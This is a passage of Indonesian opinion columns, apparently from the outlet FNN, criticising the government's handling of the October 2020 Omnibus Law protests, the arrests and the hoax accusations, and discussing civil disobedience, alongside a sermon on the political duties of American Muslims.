tindakan keras. Malah menuduh bahwa aksi-aksi itu telah ditunggangi. Potensial sang hantu, kuntilanak dan genderuwo yang bergentayangan itu antara lain. Pertama, tentu saja arah tuduhan adalah oposisi pengkritik pemerintah yang radikal atau berbuat makar. Hantu ini sengaja diciptakan oleh ketakutan pada bayangan sendiri. Oposisi yang "ingin menjadi Presiden" bisa jadi sasaran. Dibuzzerkan diburu dan dizergap. Mungkin juga bakal diarahkan atau diakitakan kepada isu khilafah dan radikalisme serta good looking. Kedua, PKI dalam bentuk baru yang tanpa bentuk. Beberapa pejabat Pemerintah menyebut komunis sudah habis. Rakyat tidak percaya. Komunis biasa menyusup, fitnah dan adu domba. Kerusuhan adalah habitat yang membahagiakannya. Dimana ada aksi disitu setan hadir. Ketiga, pemerintah sendiri melalui para hantu, kuntilanak dan genderuwo memperlat aparat di lapangan untuk membuat rusuh. Ketika ada aksi yang "harus" dibuat rusuh, maka tugas "pasukan hitam" yang memulai lempar-lemparan batu, botol hingga molotov. Bakar-bakar juga masuk program. Hantu, kuntilanak dan genderuwo model ini hanya menggoda agar ada pengikut baru. Lalu tangkap. Memang semua serba mungkin. Namanya juga hantu pasti tak bisa dibuktikan. Cuma masalahnya adalah apakah kita rela negara kita ini menjadi wahana tempat bermain hantu, kuntilanak dan genderuwo itu. Sebagai persoalan serius, maka negeri ini memang harus segera diselamatkan. Ketika Presiden sembunyi dan menghindar dari tekanan aksi masaa, muncul berita konon sedang berupaya mencari pemburu hantu "ghost buster" sambil nyekar makam ibu. Praktisi spiritualis Ki Surau berujar bapa sedang butuh kekuatan spiritual agar tidak lengser. Kalau supranatural? wah urusan dengan hantu lagi, dong. Omnibus Law memang multi dimensi. Disana ada aspek ketenagakerjaan, pendidikan, kesehatan, atau keagamaan. Ternyata muncul lagi spektrumnya yaitu kehantuan, kekuntilanakan dan kegendurewoan. Tidak percaya ? Buktinya draft final RUU juga tidak ada kan?. Abrakadabra! Penulis adalah Pemerhati Politik dan Kebangsaan.

Dihujani Banyak Protes, Jokowi Perintahkan Aparat

by Tony Rosyid Jakarta FNN – Ahad (11/10). Bukan hanya DPR, presiden juga diprotes buruh, mahasiswa, pelajar dan ormas terkait disahkannya UU Omnibus Law Cipta Kerja. Protes pertama, karena UU Cipta Kerja ini berasal dari usulan pemerintah. Protes kedua, Jokowi pergi dan meninggalkan istana saat mahasiswa, pelajar dan buruh minta ketemu. Demonstrasi terjadi tanggal 6-8 oktober di berbagai wilayah dan kota-kota besar tanah air. Terjadi serentak dan merata. Yang berdemo tidak saja buruh, para mahasiswa dan pelajar juga ikut ambil bagian. Mereka turun ke jalan-jalan kota-kota besar tanah air untuk melakukan protes. Pelajar tahu apa soal UU Omnibus Law. Kok mereka ikut-ikutan demo? Begitu keluh para pejabat dan menteri. “Kalau presiden dan DPR ingin tahu hati dan kondisi rakyat, tanya pada kami, jawab pelajar tegas. Hehe... Emang presiden dan DPR nggak tahu ya? Selasa tiga hari berdemo. Gelombang massa makin hari semakin membesar. Eskalasi ketegangan juga makin tinggi. Terutama antara aparat dengan mahasiswa. Puncaknya, dan ini sangat disayangkan, terjadi bentrokan. Banyak korban luka, bahkan ada yang kritis. Sebanyak 3.862 demonstran telah ditangkap. Kita berharap, mereka diperlakukan sesuai dengan prosedur hukum yang berlaku. Menindak yang salah, dan melepaskan yang tidak bersalah. Dan tidak berlebihan dalam memperlakukan pihak yang "dianggap bersalah" . Sejumlah fasilitas umum rusak. Mobil, pos polisi dan halte terbakar. Siapa pelakunya? Paduka Hamengku Buwono X bilang, “itu dilakukan oleh kelompok tertentu”. Pelakunya bukan demonstran. Gubernur DIY mengaku tahu siapa pelaku itu. Ini by design, kata beliau. Sangat yakin. Kalau by design, berarti kelompok itu bekerja profesional. Memang, viral sejumlah video yang sepertinya mendukung pernyataan gubernur DIY itu. Jika apa yang diungkap sang gubernur itu benar, maka muncul pertanyaan: pertama, siapa perusuh profesional itu? Kedua, apakah setiap terjadi demo besar-besaran selalu ada kelompok perusuh profesional yang dikirim untuk merusak demo? Ketiga, kenapa perusuh profesional itu tak pernah tersentuh hukum? Keempat, pasti ada target. Apa targetnya? Di Jakarta, ada halte busway yang dibakar. Siapa pembakarnya? Kelompok profesionalkah? Apakah ada kaitan dengan Anies, Gubernur Jakarta sebagai obyek sasarannya? Kalau fasilitas umum yang dibangun Anies dirusak, maka akan memberi kesan seolah-olah demonstran marah sama Anies. Beruntung Anies jumpai para demonstran. Dan skenario membagun "kesan kebencian" terhadap Anies hilang. Sebaliknya, dari pertemuan terseburt, justru memberi kesan bahwa Anies diapresiasi buruh, mahasiswa, dan pelajar. Bukan dibenci. Apalagi sampai dimusuhi. Pengrusakan fasilitas umum milik Pemprov DKI telah menyisakan persoalan tersendiri. Pemprov DKI terpaksa harus mengeluarkan anggaran cukup besar untuk membangun kembali fasilitas umum yang telah dirusak. Dalam kondisi anggaran di masa pandemi seperti sekarang, ini jadi persoalan tersendiri Sedih dan prihatin! Kenapa hampir setiap kali terjadi demo besar, selalu memakan korban dan terjadi pengrusakan. Tidak siapkah negara ini berdemokrasi? Di tengah jatuhnya banyak korban, Jokowi berpidato. Perintahkan aparat untuk menindak tegas siapapun yang melanggar hukum saat demo. Instruksi Jokowi benar. Nggak ada yang salah. Tapi, dalam situasi saat ini, instruksi itu justru akan menambah ketegangan. Apakah situasi sudah teramat gawat, sehingga presiden harus menunjukkan kekuatan aparatnya? Akan lebih bijak jika pidato presiden berisi himbauan agar buruh, mehasiswa dan pelajar menyampaikan aspirasinya dengan tertib. Tidak terprovokasi untuk melakukan tindakan yang melawan hukum. Kepada aparat keamanan, presiden bisa himbau untuk tetap disiplin menjalankan tugas dan tidak melampaui batas kewenangannya dalam menangani demonstran. Lebih mengedepankan dialog dan langkah persuasif dengan para demonstran. Jika himbauan ini yang disampaikan presiden, maka ketegangan bisa diredakan. Apalagi jika presiden juga memberi ruang bagi buruh, mahasiswa, akademisi dan perwakilan ormas untuk bertemu dan berdialog, mungkin situasi akan lebih tenang. Inilah yang seringkali menjadi kelemahan pemerintahan sekarang ini. Kurang pandai dalam mengakses jalur-jalur komunikasi yang tepat dengan kelompok-kelompok yang punya pengaruh terhadap rakyat. Akibatnya, bangsa ini terus dilanda kegaduhan. Jangan selalu mencari kambing hitam terkait dengan kegaduhan selama ini. Semua tetap kembali kepada leadership seorang pemimpin. Cara berkomunikasi, sikap dan kebijakan pemimpin menjadi faktor utama. Dalam konteks ini, presiden mesti mau melakukan evaluasi. Saat ini, rakyat butuh pemimpin yang menenangkan. Bukan pemimpin yang membuat rakyat makin kesal, marah dan berang. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Hoax Omnibus Law Versi Siapa? Penguasa atau Rakyat Jelata?

by Edy Mulyadi Jakarta FNN - Minggu (11/10). Polisi menangkap orang yang mereka sebut penyebar konten-konten hoax seputar UU Omnibus Law. Pulang dari Kalteng setelah ketemu bebek, Presiden Jokowi juga bilang banyak hoax yang beredar di seputar UU Cipta Kerja. Menkopolhukam Mahfud MD pun bicara senada. Penguasa sedang membangun narasi, bahwa seolah-olah perlawanan dari begitu banyak elemen rakyat yang massif terhadap UU ini berbasis hoax, berdasar informasi keliru dan berita bohong. Pertanyaanya, apakah jutaan buruh yang terzalimi itu semuanya termakan hoax? Apakah anak-anak STM dan mahsiswa juga termakan hoax? Apakah NU, Muhammadiyah, MUI, puluhan guru besar dan ratusan dosen yang menolak UU ini adalah kumpulan orang-orang bodoh? Orang-orang yang tidak membaca dan tidak mampu menganalisis pasal-pasal yang ada di UU penuh bencana ini? Bagaimana dengan orang yang cuma terang-terangan mengaku tidak suka membaca buku-buku politik yang tebal? Yang jujur mengatakan cuma hobi membaca komik Sincan dan Doraemon? Apakah orang ini bisa dan mau membaca naskah UU setebal 1028 halaman? Mampukah dia menganalisis, sehingga kemudian punya otoritas untuk mengatakan rakyat termakan hoax dan berita bohong? Jadi, siapa sebenarnya penyebar hoax dan berita bohong? Penguasa atau rakyat jelata? Versi siapakah hoax dan berita bohong tentang UU Cipta Kerja ini? Jika ada orang yang mengatakan mobil Esemka sudah diproduksi 6.000 unit, itu hoax bukan? Bagaimana dengan janji akan menyetop impor beras, daging, buah, garam dan lainnya; itu hoax bukan? Bagaimana jika saya mengatakan para tukang ojek mendapat moratorium cicilan kredit kendaraannya selama setahun di awal pandemi, itu berita bohong bukan? Begitu banyak hoax dan berita bohong yang disampaikan penguasa. Akan sangat panjang tulisan singkat ini jika hoax dan berita bohong tersebut ditulis di sini. Seperti kata Rocky Gerung, produsen hoax yang paling sempurna adalah penguasa! Sebagai rakyat yang membayar pajak, saya dukung polisi menangkap para penyebar hoax dan berita bohong. Ayo tegakkan hukum secara adil. Ingat, di negara hukum ini, semua warga negara setara di depan hukum! (*) Edy Mulyadi adalah Presidium Aliansi Selamatkan Merah Putih (ASMaPi) https://youtu.be/NJHa5LANJnU

Membangun “a Community of Excellence” di Amerika (Bagian-2)

by Imam Shamsi Ali New Nork FNN - Sabtu (10/10). Pada dasarnya Komunitas Istimewa itu akan berjihad dalam kehidupan dunianya. Tapi bukan sekedar untuk tujuan dunia itu sendiri. Melainkan untuk tujuan yang lebih mulia dan abadi. Itulah kehidupan akhirat. Orientarsi hidup serperti itulah yang diekspresikan dalam doa sapu jagad, “Ya Tuhan, berikan kami kebaikan di dunia dan di Akhirat kebaikan. Dan jagalah kami dari api neraka”. Kelima, Khaer Ummah atau komunitas istimewa itu adalah komunitas yang menjunjung tinggi kebenaran (al-haq) dan keadilan (al-adl). Dimana anggota masyarakatnya akan menjadikan kebenaran sebagai acuan hidup dan keadilan sebagai pijakan bersama. Kata Aallah, “Itulah ayat-ayat Allah yang Kami bacakan kepadamu. Dan Allah tidak menghendaki kezholiman bagi alam semesta” (Al-Imran: 108). Kebenaran dan keadilan sesungguhnya menjadi pilar sebuah tatanan masyarakat madani (masyarakat yang berbudaya). Kedua hal inilah sesungguhnya yang menjadi pilar kemajuan dan kehebatan bangsa-bangsa besar. Tentu dalam konteks komunal atau kemasyarakatan. Keenam, Khaer Ummah atau komunitas istimewa itu bercirikan Tauhid. Bahwa dalam tatanannya, Allah atau Tuhan Yang Maha Esa, menjadi pilar sekaligus tujuan utamanya. Allah berfirman, “Dan milik Allah apa yang di langit dan dibumi. Dan kepadaNyalah segala sesuatu dikembalikan”. (Al-Imran: 109) Dasar Tauhid inilah yang kemudian mewarnai segala langkah dan kebijakannya. Artinya segala keputusan yang berifat publik pastiya akan diwarnai oleh nilai-nilai Tauhid. Hal ini sekaligus mewakili implementasi “laa ilaaha illallah” dalam tatanan keumatan. Bahwa komunitas, masyarakat, bangsa atau umat itu tidak akan solid dan sukses tanpa soliditàs Tauhid. Amar Ma’ruf Nahi Mungkar Dalam konteks musim politik saat ini di Amerika, khususnya dalam menghadapi pemilihan presiden, Sesungguhnya komunitas muslim harus sadar bahwa tanggung jawab sosial menjadi bagian dari tuntutan keagamaan. Sebagai bagian dari proses membangun komunitas tadi. Karenanya poliitk dan partisipasi politik tidak harus dilihat sebagai inovasi baru. Apalagi dilihat bertentangan bahkan ancaman bagi agama. Justeru politik dapat dilihat sebagai salah satu bentuk amar ma’ruf nahi mungkar. Dengan demikian bagi komunitas muslim di Amerika partisipasi politik bukan sekedar politik. Bukan juga sekedar pilihan kandidat. Apalagi mengejar kekuasaan. Tetapi lebih mulia dari itu melakukan tanggung jawab agama dalam amar ma’ruf dan nahi mungkar. Bahwa melalui partisipasi politik itu kita tujukan untuk membawa perubahan komunal atau social change ke arah yang lebih baik. Melalui proses politik, harapannya akan terpilih pemimpin yang lebih credible, capable, with integrity. Seperti yang digambarkan dalam Al-Quran, “Dan Kami (Allah) jadikan dari kalangan mereka pemimpin-pemimpin dari kalangan mereka (Bani Israel) yang memberi petunjuk dengan peringatan Kami, mereka bersabar, dan mereka mengikuti ayat-ayat Kami”. Tentu dalam konteks Amerika yang dimaksudkan adalah substansi dari ajaran Al-Quran itu. Mungkin the least evil jika tidak menemukan “the best” bahkan “the good” sekalipun. Dengan Pemimpin yang demikian kita harapkan akan terbangun suasana publik yang lebih kondusif, damai, dan tentram. Dan pastinya juga terbangun persatuan, kebersamaan, kesetaraan dan keadilan. Semua inilah yang nantinya akan melahirkan stabilitas, kemakmuran dan Kebahagiaan. Semua keadaan di atas tersimpulkan dalam satu kata “keberkahan”. Seperti yang digambarkan pada ayat terdahulu, “Kalau sekiranya penduduk negeri itu beriman dan bertakwa nisacara Kamu akan bukakan bagi mereka berkah-berkah dari langit dan bumi”. Kesadaran seperti inilah yang harus terbangun di kalangan komunitas muslim Amerika, sehingga tumbuh kesadaran akan tanggung jawab sosial tersebut. Keterlibatan mereka dalam proses politik dan pesta Demokrasi di negara ini tidak saja sebuah hak sipil (civil right). Tapi sekaligus menjadi tanggung jawab keagamaan dalam konteks amar ma’ruf dan nahi mungkar. Tentu lebih mulia lagi jika keterlibatan dalam proses politik itu diniatkan untuk menjadi bagian dari menanam tunas atau benih “Khaer Ummah” atau bangsa terbaik. Sebab Amerika bagi komunitas muslim Amerika adalah negaranya sendiri yang harus dibangun sesuai idealisme agama dan Amerika itu sendiri. Disinilah masyarakat muslim Amerika harus bejajar memahami jika Islam dan Amerika adalah dua entitas yang tidak harus dipertentangkan. Karenanya idealisme Islam harus dilihat dalam konteks Amerika. Sehingga kebangsaan dan keagamaan bukanlah dua hal yang paradoks. Demikian ringkasan khutbah yang saya sampaikan di Jamaica Muslim Center New York. Semoga juga menjadi pengetahuan umum, sekaligus sebagai motivasi khususnya kepada mereka yang punya hak pilih (warga negara Amerika) untuk mengambil tanggung jawab publiknya. Semoga. (selesai). Penulis adalah Direktur Jamaica Muslim Center & Presiden Nusantara Foundation.

Civil Disobedience Dimulai

by Zainal Bintang “Saya dengan sepenuh hati menerima motto, pemerintahan yang terbaik yang mengatur paling sedikit, dan saya ingin melihatnya bertindak lebih cepat dan sistematis. Dilakukan, akhirnya mencapai ini, yang juga saya yakini pemerintahan yang terbaik yang tidak mengatur sama sekali, dan ketika orang-orang siap untuk itu, itu akan menjadi jenis pemerintahan yang akan mereka miliki. Saya minta, jangan seketika tidak ada pemerintah, tetapi sekaligus pemerintahan yang lebih baik”. Demikian Filusuf Amerika penggagas Civil Disobidience Henry David Thoreau ((12 Juli 1817 - 6 Mei 1862) Jakarta FNN – Sabtu (10/10). Pernyataan “keras” Profesor Zainal Abidin Mochtar, yang mengajak masyarakat menggugat UU Omnibus Law Cipta Kerja yang disahkan DPR RI pada tanggal 5 Oktober 2020 untuk menempuh jalur “Civil Disobedience”. Sikap “Pembangkangan Sipil” ini sempat mengejutkan. Soalnya pakar hukum tata negara yang akrab dipanggil Uceng itu satu almamater dengan presiden Jokowi di Universitas Gajah Mada(UGM) Yogyakarta. Menurut Uceng, yang kelahiran Makassar (1978), diperlukan teriakan bersama dari masyarakat sipil untuk menyuarakan penolakan terhadap undang-undang tersebut. “Pembangkangan sipil atau apalah bentuknya itu bisa dipikirkan. Tapi maksud saya ini cara kita melihat baik-baik UU ini. Jangan dibiarkan begitu saja. Kalau tekanan publik kuat, itu merupakan bagian dari partisipasi sipil”, ujarnya. Berbicara tentang “Civil Disobedience” membawa ingatan kita kepada penulisnya Henry David Thoreau (12 Juli 1817 - 6 Mei 1862). Filsuf Amerika itu juga dikenal sebagai, naturalis, esais, dan penyair terkemuka. Terkenal dengan esainya yang berjudul "Ketidaktaatan Sipil” (Civil Disobedience). Sebuah argumen untuk ketidaktaatan kepada keadaan yang tidak adil. Judul aslinya "Perlawanan Terhadap Pemerintah Sipil" (Resistance to Civil Government) yang ditulis pada 1848. Di dalam esainya, Thoreau menekankan, individu tidak boleh mengizinkan pemerintah untuk mengesampingkan atau menghilangkan hati nurani mereka. Karenanya mereka memiliki kewajiban untuk menghindari pemberian persetujuan semacam itu. Untuk memungkinkan pemerintah menjadikan mereka agen ketidakadilan. Sikap Thoreau itu lebih karena dipengaruhi dengan kemuakannya pada perbudakan dan Perang Meksiko-Amerika (1846–1848). Filsafat pembangkangan sipil Thoreau kemudian mempengaruhi pemikiran dan tindakan politik dari tokoh-tokoh terkenal seperti Leo Tolstoy (Sastrawan Rusia), Mahatma Gandhi (Pemimpin Spritual India) dan Martin Luther King Jr (tokoh kulit hitam dan Pemimpin Gerakan Hak Sipil di Amerika). Banyak kalangan beranggapan Thoreau sebagai anarkis. Dalam "Pembangkangan Sipil", Thoreau menulis, “saya dengan sepenuh hati menerima motto, pemerintahan yang terbaik yang mengatur paling sedikit, dan saya ingin melihatnya bertindak lebih cepat dan sistematis. Dilakukan, akhirnya mencapai ini, yang juga saya yakini pemerintahan yang terbaik yang tidak mengatur sama sekali, dan ketika orang-orang siap untuk itu, itu akan menjadi jenis pemerintahan yang akan mereka miliki. Saya minta, jangan seketika tidak ada pemerintah, tetapi sekaligus pemerintahan yang lebih baik”. Namun demikian definisi pembangkangan sipil yang paling diterima secara luas, yang ditulis oleh John Rawls (81) pada tahun 1971,- sebagai gerakan tanpa kekerasan dan dilakukan dengan hati-hati, dengan tujuan untuk membawa perubahan dalam hukum atau kebijakan pemerintah. Pengajar di Universitas Cornell dan Universitas Harvard itu yang meninggal 2002, menyebutkan, “pembangkangan publik” adalah gerakan yang dilakukan oleh warga secara terorganisasi, yang bisa jadi melawan hukum, dan digunakan untuk mengoreksi hukum atau kebijakan publik. Gagasan menempuh jalan “pembangkangan sipil” dalam konteks pro dan kontra atas UU Omnibus Law Cipta Kerja tentu bukanlah pekerjaan yang mudah. Mengingat pengesahan UU Cipta Kerja telah final. Palu telah diketuk 5 Oktober 2020 tengah malam. Meskipun konstitusi masih membuka pintu bagi masyarakat yang mau melakukan uji materi (Judicial Review) di Mahkamah Konstitusi (MK). Setidaknya memang, ada tiga jalur yang tersedia untuk menggugat UU itu. Pertama, jalur eksekutif dengan jalan mendesak presiden mengeluarkan Perppu (Peraturan Pemerintah Pengganti Undang-Undang). Atau meminta presiden tidak menanda tangani UU itu dalam 30 hari. Langkah ini tentu saja berat. Karena inisiator pembentukan UU Omnibus Law adalah pemerintah. Bahkan promotornya Jokowi sendiri ketika menyampaikan pidato pertamanya di MPR setelah dilantik sebagai Presiden RI untuk kedua kalinya, Minggu (20/10/2019). Yang kedua melalui jalur yudikatif dengan uji materi (Judicial Review) di MK. Ataukah melalui jalur ketiga, “pembangkangan sipil”. Namun jalur yang manapun mau ditempuh, kelihatannya tetap saja rumit. Persoalannya keadaan sudah kadung kusut. Disebabkan adanya ledakan kerusuhan di awal perjalanan UU itu. Rentetan unjuk rasa buruh, mahasiswa dan pelajar yang masif untuk penolakan di hampir sebagian besar di Indonesia berujung kerusuhan di sejumlah daerah selama tiga hari berturut-turut. Mendorong negara, atas nama penegakan hukum-berhadap-hadapan dengan masyarakat dalam posisi adu kuat! Semangat konfrontatif itu tak terhindarkan. Kasus penangkapan ribuan pelajar dan mahasiswa pengunjuk rasa oleh kepolisian di berbagai daerah dengan kualifikasi sebagai provokator semakin memperkeruh keadaan. Efek destruktif dari konfrontasi itu melahirkan pula masalah baru, karena mendorong akumulasi kekecewaan rakyat lewat saluran dunia maya. Presiden dan wakil rakyat menjadi bahan olok-olok di media media sosial yang penyebarannya bagaikan kilat. Berindikasi tergerusnya kepercayaan masyarakat kepada pemerintah dan lembaga wakil rakyat secara bersamaan. Distrust! Terlihat upaya keras pemerintah mencoba merehabilitasi keadaan. Melalui banyak menteri dan dua menko, pemerintah menegaskan isu yang mengatakan UU Omnibus Law Cipta Kerja memihak pengusaha atau kapitalis adalah hoaks. Dihembuskan orang tak bertanggung jawab. Jika itu memang benar itu adalah hoaks, menjadi pertanyaan publik, apa saja yang dikerjakan selama ini tim “Public Relation” alias juru bicara negara? Meskipun memiliki sumber daya yang sangat besar nampaknya tidak mampu merembes ke jantung pemukiman masyarakat kelas bawah. Bukankah karena kegagalan tim itu harus dikatakan telah membuat masyarakat kecil menjadi korban dua kali? Pertama, mereka menjadi korban berita hoaks yang bebas tidak terpantau. Kedua, rakyat kecil itu yang buta informasi dan sedang terlilit kesulitan ekonomi orang tuanya, terseret menjadi korban kekerasan aparat atas nama penegakan hukum. Hari ini, bangsa Indonesia tidak bisa bersembunyi dari duka yang melanda negeri ini. Harapan indah tentang kedamaian dan kesejahteraan sebagai janji kampanye terhalang. Di atas segalanya, kerusuhan patut disesalkan. Terutama penyebab awalnya karena telah mengoyak rajutan semangat persatuan. Akankah jalan konstitusional uji materi yang tersedia di MK dapat berlangsung fair play memenuhi harapan masyarakat? Hakim Agung MK harus bisa membuktikan netralitasnya. Itu penting untuk menghapus stigma miring sebagai efek dari hasil revisi UU MK yang memberi perpanjangan masa jabatan kepada para Hakim Agung itu. Melebarnya kembali jurang disharmoni negara dengan masyarakat sipil memprihatinkan. Perlu waktu panjang, energi besar dan kerendahan hati semua pihak untuk memulihkan. Tentu saja tidak mudah. Karena pandemi Covid 19 telah mempersulitnya. Kemampuan negara telah menurun karena memikul beban baru. Disisi lain, kekecewaan masyarakat telah bereskalasi akibat lemahnya perhatian pemimpinnya. Rehabilitasi fasilitas umum yang rusak memang mudah. Tapi kekecewaan rakyat yang cedera adalah soal lain. Dengan hati teriris, rakyat dipaksa menyaksikan gedung wakil rakyat dan Istana tertutup bagi rakyat walaupun hanya beberapa hari. Dijaga pasukan bersenjata dilengkapi mobil penyemprot air atau water canon. Pertanyaan lain, apakah jalur “pembangkangan sipil” dapat memberi lebih banyak ruang aspirasi publik yang dijanjikan demokrasi dan dijamin konstitusi? Wallahualam bishawab! Penulis adalah Wartawan Senior & Pemerhati Masalah Sosial Budaya.

Pemerintah Sengaja Bakar Ilalang Sudah Lama Kering

by Anton Permana Jakarta FNN – Sabtu (10/10). Menko Perekopnomian Airlangga dalam press confrencenya mengatakan "tahu siapa yang mendanai aksi demonstrasi menolak UU Cilaka". Lalu Netizen menjawab, "kenapa tidak dibongkar dan tangkap saja siapa yang mendanai UU Cilaka ini, sehingga menimbulkan aksi amuk massa dari para buruh, mahasiswa dan pelajar"? Menko Polhukam Mahfud juga mengeluarkan ancaman "akan menindak tegas setiap pelaku rusuh dalam aksi demonstrasi kemaren". Netizen juga menjawab, "kenapa petugas yang anarkis yang menganiaya mahasiswa dan pelajar pendemo tidak juga ditindak tegas, karena melampaui tugas dan kewenangannya menganiaya demonstran"? Itulah wajah penguasa negeri kita hari ini. Selalu menganggap diri dan kelompoknyalah yang paling benar. Penguasa selalu paling benar. Paling berkuasa, sehingga timbullah berbagai macam komentar yang sungguh kadang penuh arogansi dan tidak lagi pakai akal sehat. Aksi besar-besaran tanggal 7-8 Oktober kemaren oleh gabungan mahasisswa, buruh, dan pelajar sungguh di luar dugaan semua pihak. Sebuah aksi serentak hampir di seluruh wilayah nusantara. Setidaknya beberapa kota besar seperti Jakarta, Bandung, Bogor, Semarang, Yogjakarta, Surabaya, Malang, Makasar, Samarinda, Banjarmasin, Lampung, Lombok Sumbawa, bergelora dahsyat menyuarakan melawan dan menolak UU Cilaka yang baru saja disahkan oleh pemerintah. Ini sungguh aksi demonstrasi yang luar biasa. Meskipun nyaris tidak ada beritanya di TV Mainstream, karena dikuasai penguasa. Bahkan di beberapa daerah, aksi ini berhasil menguasai kantor DPRD setempat seperti di Padang Sumatera Barat, Sindrap, Yogjakarta. Membuat beberapa kepala daerah terpaksa berjanji akan menyurati Presiden secara resmi seperti Ridwan Kamil dan Irwan Prayitno bahwa atas nama pemerintah daerah akan menyampaikan aspirasi rakyat ini secara resmi. Tak ketinggalan Gubernur DKI Anies Baswedan juga turun langsung menenangkan massa aksi di bundaran Hotel Indonesia tadi malam. Didampingi Pangdam Jaya dan Kapolda Metero Jaya, Anies berjanji pagi ini (09/10/2020) akan menyampaikannya secara resmi dan tertulis kepada Presiden. Kenapa judul tulisan ini saya menyebutnya dengan istilah "ilalang yang sudah lama kering"? Sebab aksi dahsyat dua hari ini adalah akumulasi dari semua kemarahan, protes, kekesalan, dan kepanikan masyarakat atas situasi kondisi yang terjadi saat ini. Dimana hampir dari segala lini telah terjadi kerusakan dan tekanan hidup. Ditambah dengan kondisi pandemic covid 19 ini. Anehnya justru di saat kegalauan ini, pemerintah tanpa ada rasa empati terus memaksakan (malah ambil kesempatan) dengan mengeluarkan sebuah kebijakan yang sangat menyakitkan dan merugikan rakyat. Makanya saya berani mengatakan, kok pemerintah yang sengaja membakar tumbuh ilalang-ilalang yang sudah lama mengering di negeri ini? Maka jadilah aksi dahsyat selama tiga hari lalu. Dan saya yakin, kalau penguasa masih tak peduli dan percaya diri, sombong dan angkuh dengan kekuasaannya, maka aksi yang lebih besar dan dahsyat lagi akan terjadi. Kenapa saya punya asumsi demikian ? Berikut analisanya. Pertama, saya melihat penguasa hari ini super confident. Begitu percaya diri dan terkesan menyepelekan riak-riak yang sedang terjadi di tengah masyarakat ini. Kenyataan ini menurut hemat saya, karena penguasa yakin sudah memegang kendali semua sektor dan lini front pertempuran. Kekuatan itu berupa mapping terhadap kekuatan politik legislasi yang hampir meliputi semua partai di luar PKS dan Demokrat yang telah berhasil dijinakkan. Lembaga yudikatif juga sudah under control. Media mainstream, alat negara, pusat logistik, inteligent, hingga aturan untuk justifikasi penindakan terhadap siapa saja yang berseberangan dengan penguasa bisa dieliminir. Apalagi dengan kecanggihan alat inteligent. Punya perangkat aparatur yang mampu melakukan penetrasi ke dalam sel-sel terkecil masyarakat untuk melakukan infiltarasi, cegah dini dan tangkal dini. Maka wajar saja penguasa hari ini boleh dikatakan tidak ada lagi celah untuk bibit perlawanan masyarakat yang tidak bisa diatasi. Kedua, tetap disahkannya UU Cilaka ini, menandakan penguasa tentu sudah mengkalkulasikan setiap resiko yang akan terjadi. Artinya, bisa saja elit penguasa berkesimpulan, yang penting sahkan dulu sesuai target politik. Bahwa urusan akan ada aksi demonstrasi, serahkan kepada petugas dan aparat negara yang mengatasinya. Dan semua itu faktanya kita lihat hari ini. Rakyat head to head baku hantam di lapangan hingga jatuh korban. Ketiga, saya yakin, aksi demonstrasi dua hari para buruh, mahasiswa dan pelajar, di luar ekspektasi penguasa, termasuk kita semua. Selama ini kita terlanjur menganggap dan mencemooh mahasiswa-pelajar adalah generasi millenial yang manja, sibuk main gadget, dan anak rumahan alias anak mami. Namun kejadian dua hari ini telah menjawab itu semua dan mempermalukan kita. Bahwa ternyata para mahasiswa dan pelajar STM /SMK tampil terdepan dengan gagah perkasa. Mereka luar biasa melakukan aksi serentak dengan begitu heroik dan sangat berani. Para mahasiswa dan pelajar ini membuktikan bahwa, meskipun badan mereka kecil, tangan mereka halus, kumispun kadang baru tumbuh. Tetapi ketika hak hidup dan kedaulatan orang tua, bapak, dan ibunya dirampas oleh penguasa, mereka maju kedepan bertaruh nyawa menghadapi aksi aparat yang tak henti-hentinya menembakkan peluru gas air mata. Tak terhitung lagi korban berjatuhan dari kedua belah pihak. Tapi sebagai orang tua yang juga punya anak remaja, sungguh saya antara haru dan miris melihat tubuh-tubuh kecil yang seharusnya belajar menimba ilmu di kampus dan sekolah. Namun mereka berada di garda terdepan melawan aparat yang bersenjata lengkap. Demi memperjuangkan dan menyuarakan hak masyarakat. Keempat, aksi dua hari ini adalah bukti telah hilangnya rasa kebersamaan, rasa persaudaraan, rasa moral, etika, dan rasa malu dari pada penguasa hari ini terhadap nasib rakyatnya. Ilalang yang kering itu terjadi karena keringnya ketidakadilan. Kering dari dari rasa kasih sayang dan perlindungan. Kering dari air dan pupuk kesejahteraan yang seharusnya menjadi hak dari setiap rakyat. Yaitu untuk mendapatkan kesejahteraan umum serta keadilan sosial. UU Cilaka hanya salah satu aturan yang merampas hak hidup dan kedaulatan rakyat. Belum lagi RUU BPIP/HIP, UU Pesantren, UU Corona, dan UU Minerba. Yang semua itu ibarat front-front pertempuran yang seolah sengaja diciptakan oleh penguasa hari ini demi mewujudkan agenda elit oligharkinya untuk menjajah negeri ini. Kelima, saya yakin, kalau penguasa hari ini tidak mengevaluasi diri. Tidak instropeksi diri dan mengalah, maka ancaman gelombang aksi yang lebih besar bisa saja terjadi lagi. Setidaknya ada dua front besar lagi yang akan juga meletus. Yaitu front RUU BPIP/HIP, dimana penguasa akan berhadapan dengan ummat Islam dan TNI, karena Pancasila bagi dua entitas ini adalah harga mati. Selanjutnya UU Pesantren yang saat ini juga sedang menggalang kekuatan. Saya tidak bisa membayangkan, seandainya masing-masing front pertempuran ini bersatu. Akan ada yang mengkoneksasikannya. Misalnya para buruh, mahasiswa, pelajar bersatu dengan ummat Islam 212, FPI, Ormas Nasionalis, para santri, Ormas Islam (NU-MU). Bahkan dengan para purnawirawan TNI seperti PPKN yang kemarin di TMP Kalibata. Saya tak tahu dan ngeri membayangkan apa yang terjadi nantinya. Pasti akan terjadi pertumpahan darah dan kerusakan dimana-mana. Yang kasihan adalah rakyat pendemo yang berbenturan dengan petugas dan aparat di lapangan. Rakyat melawan karena memperjuangkan hak dan kedaulatannya. Petugas dan aparat 'terpaksa' juga melawan, karena tuntutan tugas dan perintah atasannya. Yang enak dan tertawa tentu para pemimpin dan elitnya. Yang mengambil keuntungan dari semua ini. Tak peduli entah berapa korban nyawa dan harta yang akan jatuh nantinya. Bagi kelompok yang ingin melihat Indonesia hancur-lebur, pasti juga akan tepuk tangan dan bahagia. Kita semua hanya bisa menghimbau dan berdo'a. Semoga di tengah kondisi yang semakin tak menentu ini, masih ada celah penyelesaian masalah yang lebih sedikit mudharatnya. Yang paling sedikit dampak kerugiannya. Tidak bisakan kita kembalikan semua ini kepada jati diri bangsa, yaitu musyawarah dan konstitusional??? Kalau penguasa tetap jemawa memaksakan kehendaknya. Mengabaikan hak dan kedaulatan rakyat, maka patut kita duga bahwa, kondisi hari ini memang kesengajaaan penguasa yang membakar tumbuhan ilalang di negeri ini yang sudah lama mengering. 